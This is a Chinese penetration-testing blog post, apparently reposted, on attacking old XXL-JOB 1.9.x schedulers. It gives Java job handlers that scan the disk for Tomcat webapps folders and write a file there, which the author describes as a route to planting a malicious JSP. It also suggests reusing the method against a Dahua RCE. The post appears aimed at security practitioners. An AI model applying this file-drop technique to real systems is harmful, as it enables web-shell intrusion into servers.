文章总结: 本文介绍了针对低版本XXL-JOB(1.9.2)的攻击方法,发现2.0以下版本使用Tomcat而非Spring启动,通过执行命令寻找Tomcat的webapps目录并写入恶意JSP文件实现攻击。这种方法解决了低版本XXL-JOB因数据库字段限制、无法注入Java进程等问题导致的攻击困难,也可应用于其他类似场景如大华RCE。
综合评分: 91
文章分类: 渗透测试,漏洞分析,WEB安全,实战经验,代码审计
记低版本XXL-JOB打法
哈拉少安全小队
2025年11月20日 08:51
广东
以下文章来源于T3Ysec
,作者T3Ysec
T3Ysec
.
分享一些安全研究,研究免杀对抗,代码审计,和内网渗透
前言:
某次实战中发现低版本XXL-JOB,该版本为1.9.2非常古老,但是又急需开口子,于是秉承着脚本小子的作风,全网搜索发现压根不存在低版本XXL-JOB打法,github项目注入Agent也根本无法利用(1.低版本xxl-job的数据库字段不能只能5000字符左右,而agent那个数据包很大。2.就算切片落地Jar包也无法注入Java进程。3.执行器就是本机,且又不出网),非常难受。
探索:
github项目内存马的版本,如下:
可以发现2.0以下都是不支持的。于是回归代码,在github下查看源码
很容易就发现,xxl-job2.0以上调度中心是spring启动 ,2.0以下调度中心是tomcat启动 。于是灵感一闪…..(你懂的)
实践:
我部署的是1.9.0的xxl-job,直接利用github的xxljob脚本
数据库直接报错。
由于是tomcat启动的调度中心,我们可以执行命令去寻找tomcat的路径
package com.xxl.job.service.handler;
import com.xxl.job.core.log.XxlJobLogger;import com.xxl.job.core.biz.model.ReturnT;import com.xxl.job.core.handler.IJobHandler;
import java.io.File;import java.util.ArrayList;import java.util.List;
public class DemoGlueJobHandler extends IJobHandler {
@Override public ReturnT<String> execute(String param) { XxlJobLogger.log("XXL-JOB, 开始用 Java 遍历磁盘查找 webapps 目录...");
// 可以根据实际情况调整扫描的根目录,比如 C:/ D:/ /usr/local 等 List<File> roots = new ArrayList<>(); if (isWindows()) { roots.add(new File("C:\\")); roots.add(new File("D:\\")); } else { roots.add(new File("/")); }
List<String> found = new ArrayList<>(); for (File root : roots) { XxlJobLogger.log("开始扫描: " + root.getAbsolutePath()); searchWebapps(root, found, 3); // 限制最大递归深度,防止太慢 }
if (found.isEmpty()) { XxlJobLogger.log("未找到 webapps 目录"); return ReturnT.FAIL; }
for (String path : found) { XxlJobLogger.log("找到 webapps 目录: " + path); File[] children = new File(path).listFiles(); if (children != null) { for (File f : children) { XxlJobLogger.log(" - " + f.getName()); } } }
return ReturnT.SUCCESS; }
/** * 递归查找 webapps 目录 */ private void searchWebapps(File dir, List<String> found, int depthLimit) { if (dir == null || !dir.isDirectory() || depthLimit < 0) { return; }
File[] files = dir.listFiles(); if (files == null) return;
for (File file : files) { if (file.isDirectory()) { if ("webapps".equalsIgnoreCase(file.getName())) { found.add(file.getAbsolutePath()); } searchWebapps(file, found, depthLimit - 1); } } }
private boolean isWindows() { return System.getProperty("os.name").toLowerCase().contains("win"); }}
执行结果:
然后就是简单的写入jsp文件到web目录下(这里有个坑有些xxl-job不解析jsp,不知道为啥)
package com.xxl.job.service.handler;
import com.xxl.job.core.biz.model.ReturnT;import com.xxl.job.core.handler.IJobHandler;import com.xxl.job.core.handler.annotation.JobHandler;import com.xxl.job.core.log.XxlJobLogger;
import java.io.File;import java.io.FileWriter;import java.io.IOException;import java.util.Date;
/** * XXL-JOB 自定义任务:写文件到Tomcat webapps目录 * 可在调度中心 Bean模式调用 */@JobHandler("writeFileHandler")public class WriteFileHandler extends IJobHandler {
// 目标目录 private static final String TARGET_DIR = "C:\\Users\\john\\Desktop\\tomcat\\apache-tomcat-9.0.87\\webapps\\xxl-job";
@Override public ReturnT<String> execute(String param) throws Exception { XxlJobLogger.log("XXL-JOB, 开始写入文件...");
File targetDir = new File(TARGET_DIR); if (!targetDir.exists() && !targetDir.mkdirs()) { XxlJobLogger.log("目标目录创建失败: " + TARGET_DIR); return ReturnT.FAIL; }
File file = new File(targetDir, "hello.txt"); FileWriter writer = null; try { writer = new FileWriter(file, false); // 覆盖写入 String content = "Hello XXL-JOB!\n当前时间: " + new Date(); if (param != null && !param.trim().isEmpty()) { content += "\n参数: " + param; } writer.write(content); XxlJobLogger.log("文件写入成功: " + file.getAbsolutePath()); return ReturnT.SUCCESS; } catch (IOException e) { XxlJobLogger.log("文件写入失败: " + e.getMessage()); return ReturnT.FAIL; } finally { if (writer != null) { try { writer.close(); } catch (IOException ignore) { } } } }}
成功写入。
总结:
这种利用Tomcat解析jsp的思路,不止可以在低版本xxljob上玩,也可以在最近报出的大华rce上去玩,通过命令执行寻找可以解析jsp的web,将我们的恶意文件写入。
“写的不好的地方,希望可以多包容”
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:哈拉少安全小队 《记低版本XXL-JOB打法》